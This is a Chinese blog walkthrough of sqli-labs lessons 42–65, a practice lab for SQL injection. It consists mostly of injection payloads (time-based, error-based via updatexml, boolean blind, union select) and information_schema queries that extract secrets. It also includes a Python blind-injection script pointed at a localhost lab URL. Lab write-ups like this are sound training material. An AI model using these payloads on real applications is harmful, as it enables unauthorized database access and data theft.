当前位置: 首页 > article >正文

sql-labs:42~65

less42(单引号闭合、报错回显)

login_user=admin
login_password=123' and if(1=1,sleep(2),1) #                                # 单引号闭合
​
login_user=admin
login_password=123'and updatexml(1,concat(0x7e,database(),0x7e),1)#         # 报错回显
 
用户名有过滤,
tips:
这里还是强调一下,时间注入测试注入点,sql语句必须有查询结果才能sleep,而且and连接的条件必须都成立才能sleep,两者缺一不可
所以输入的用户名和密码必须都正确,也就是有一个用户凭据才能有sql语句查询结果,才能sleep

less43(单引号括号闭合、报错回显)

跟less42一样
login_password=1') and updatexml(1,concat(0x7e,user(),0x7e),1)--+

less44(单引号闭合、半回显)

login_user=admin
login_password=123456' and if(1=1,sleep(2),1) # 
​
布尔注入:
login_user=admin
login_password=123456' and substr(DATABASE(),1,1)='s' # 
​
如果回显结果有slap1.jpg说明爆出来了一个字符

less45(单引号括号闭合、半回显)

跟less44一样
​
布尔注入语法:
login_user=admin
login_password=123456') and substr(database(),1,1)='s' and ('1')=('1
​
这里可以使用状态码进行半回显判断,也可以不使用slap1.jpg回显判断
如果爆出来一个字符,则返回302,如果不是则返回200

less46(order by注入手法、报错回显)

sql语法规定:order by后不能接 union select
Incorrect usage of UNION and ORDER BY
​
使用时间或报错
​
sort=1 and if(1=1,sleep(0.05),1) --+
不知道为什么这里的sleep时间突然变得好长,之前sleep相同的数值,很快就sleep完了
sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less47

(46~53都是这个order by、无非就是闭合方式不一样和有报错回显的问题,有报错回显报错注入,没有就布尔盲注时间盲注,换汤不换药)
(这里没有测试布尔盲注,直接用的时间盲注)
(但是布尔盲注优先级是比时间盲注要高的,作者只测试了时间盲注是为了减小工作量,因为基本上有了sql注入,时间盲注可行性最大)
(布尔盲注搞不定了,再时间盲注)
sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
发现单引号闭合:
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less48

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 无报错回显
​
sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+             # 时间盲注

less49

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 无报错回显
​
sort=1' and if(substr(database(),1,1)='s',sleep(0.05),1) --+            # 时间盲注

less50

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less51

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less52

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 无报错回显
​
sort=1 and if(substr(database(),1,1)='s',sleep(1),1) --+                # 时间盲注

less53

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)                 # 无报错回显
​
sort=1' and if(substr(database(),1,1)='s',sleep(1),1)                   # 时间盲注

less54(54到65都是这个挑战)

id=1' and if(1=1,sleep(1),1) and '1'='1                                 # 单引号闭合
​
id=0' union select 1,database(),3 --+                                   # 全回显
​
id=0' union select 1,str_foo,3 --+                                      # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='gg0e5rd6g0')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',secret_BPRX,',',tryy) from gg0e5rd6g0)
​
tips:
当你用时间注入测试sql注入点时,比如你发现用''闭合的注入语句:
id=1' and if(1=1,sleep(1),1) and '1'='1
测试成功了,先不要急,因为它还有可能是
('')闭合
((''))闭合
((('')))闭合
...
可以加无数个括号,双引号""和括号()闭合也有这个问题

less55

id=1 and if(1=1,sleep(1),1)                                 此情况也可能是(),如下例子
SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1
SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1
​
id=1" and if(1=1,sleep(1),1) and "1"="1                     此情况也有可能是(""),如下例子
SELECT * FROM security.users WHERE id="1" and if(1=1,sleep(1),1) and "1"="1" LIMIT 0,1
SELECT * FROM security.users WHERE id=("1" and if(1=1,sleep(1),1) and "1"="1    ") LIMIT 0,1
​
id=1' and if(1=1,sleep(1),1) and '1'='1                     此情况也有可能是(''),如下例子
SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1
SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1    ') LIMIT 0,1
​
和less54一样
​
id=1) and if(1=1,sleep(1),1) and (1)=(1                     # 括号闭合      
​
id=0) union select 1,str_foo,3 --+                          # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less56

和less54、55一样
发现('')闭合,且有回显
id=0') union select 1,database(),3 --+
id=0') uNIon sELect 1,database(),3 --+

less57

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
和less54、55、56一样
发现""闭合,且有回显
id=0" union select 1,database(),3 --+

less58(less58~less61都是报错注入,就是闭合方式的不同)

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现''闭合,但回显是误导项,回显的账号密码不是数据库里的,而是php code里的,所以有回显等于无回显
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+               # 报错回显
​
id=1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+                  # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less59

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现无闭合
id=1 and if(1=1,sleep(1),1) --+
​
id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+                # 报错回显
​
id=1 and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+                   # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less60

跟58、59一样
​
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现("")闭合
​
id=1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less61

跟58、59、60一样
​
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现((''))闭合
id=1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less62(less62~less65都是时间注入或布尔注入)

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现('')闭合,且无回显
id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+
布尔注入:
id=1') and 1=1 --+
id=1') and 1=2 --+
发现正确的数据包显示,如下字符串
Your Login name : Angelina
Your Password : dhakkan
而错误的数据包不显示,那我们提取Password作为标志字符串,用于布尔盲注的判断
id=1') and substr(database(),int_foo,1)='char_foo' and ('1')=('1
​
id=1') and if(substr(database(),1,1)='c',sleep(1),1) --+
# 直接用我们之前写的脚本:https://github.com/iamnotamaster/sql-injecter
    dict_para_data = {
        'id' : 'hack123'
    }
    vuln_para = 'id'
    http_type = 1
    url = "http://127.0.0.1/sqli-labs/Less-62/"
    expected_data = "Password"
    payload_foo1 = "1') and int_foo>str_foo and ('1')=('1"
    payload_foo2 = "1') and char_foo>ascii(substr(str_foo,int_foo,1)) and ('1')=('1"
    str_foo1 = "length(database())"
    str_foo2 = "database()"
    # 爆库名
    # db_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)
    # db_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, db_len)
    # 爆表名
    str_foo1 = "(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"
    str_foo2 = "(SELECT group_concat(table_name) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"
    tb_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)
    tb_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, tb_len+1)
    # 爆字段
    str_foo1 = "(select CHAR_LENGTH(COLUMN_NAME) from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"
    str_foo2 = "(select COLUMN_NAME from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"
    colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)
    colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, colu_len+1)
​
    # 因为字段secret_后面的的字符串是随机的(如secret_TGFJ),我们自动化取出来赋值给code变量
    index = colu_result.find('secret_')
    code = colu_result[index + len('secret_'):index + len('secret_')+4]
​
    str_foo1 = "(select CHAR_LENGTH(secret_" + code + ") from "+ tb_result +")"
    str_foo2 = "(select secret_" + code + " from "+ tb_result +")"
    colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)
    colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, colu_len+1)

less63

跟62一样
发现''闭合,且无回显
​
只修改62脚本中的url和payload就可以

less64

跟63、62一样
发现(())闭合,且无回显
​
只修改62脚本中的url和payload就可以

less65

跟63、62一样
发现("")闭合,且无回显
​
只修改62脚本中的url和payload就可以

http://www.kler.cn/news/326784.html

相关文章:

  • AIGC对网络安全的影响
  • ansible之playbook\shell\script模块远程自动安装nginx
  • Python 时间占位符:毫秒的使用
  • TDengine 签约国家电投旗下四大火力发电厂,助力汽轮机振动数据的有效管理
  • 大模型增量训练--基于transformer制作一个大模型聊天机器人
  • 使用 Llama 3.1 和 Qdrant 构建多语言医疗保健聊天机器人的步骤
  • 【CSS in Depth 2 精译_040】6.3 CSS 定位技术之:相对定位(下)—— 用纯 CSS 绘制一个三角形
  • 使用激光定高需要注意的问题以及效果测试与读取
  • 栈:只允许在一端进行插入或删除操作的线性表
  • 王道-计网
  • HTML讲解(三)通用部分
  • 音频编码:PCM【无损音频】
  • 如何保证Redis与数据库的数据一致性
  • 《程序猿之Redis缓存实战 · 字符串类型》
  • 浅谈网络通信中的透传和非透传
  • 01---java面试八股文——springboot---10题
  • rsync+inotify
  • 【KVM】虚拟化技术及实战
  • defineExpose 显式导出子组件方法
  • 基于SSM的宠物领养管理系统的设计与实现 (含源码+sql+视频导入教程+文档+PPT)
  • MAC M1 安装brew 配置环境变量,安装dart
  • 电影系统1-MovieStrip.vue
  • 一款基于 RBAC 的 Net8 后台管理框架,权限管理,前后台分离,支持多站点单点登录(附源码)
  • 基于Apache和Tomcat的负载均衡实验报告
  • 【30天玩转python】Web开发(Flask/Django)
  • 基于springboot框架的智能招聘系统的设计与实现3hlst
  • ruoyi网页刷新后报404
  • Python电能质量扰动信号分类(六)基于扰动信号特征提取的超强机器学习识别模型
  • VIM的使用总结
  • (c++)内存四区:1.代码区2.全局区(静态区)3.栈区4.堆区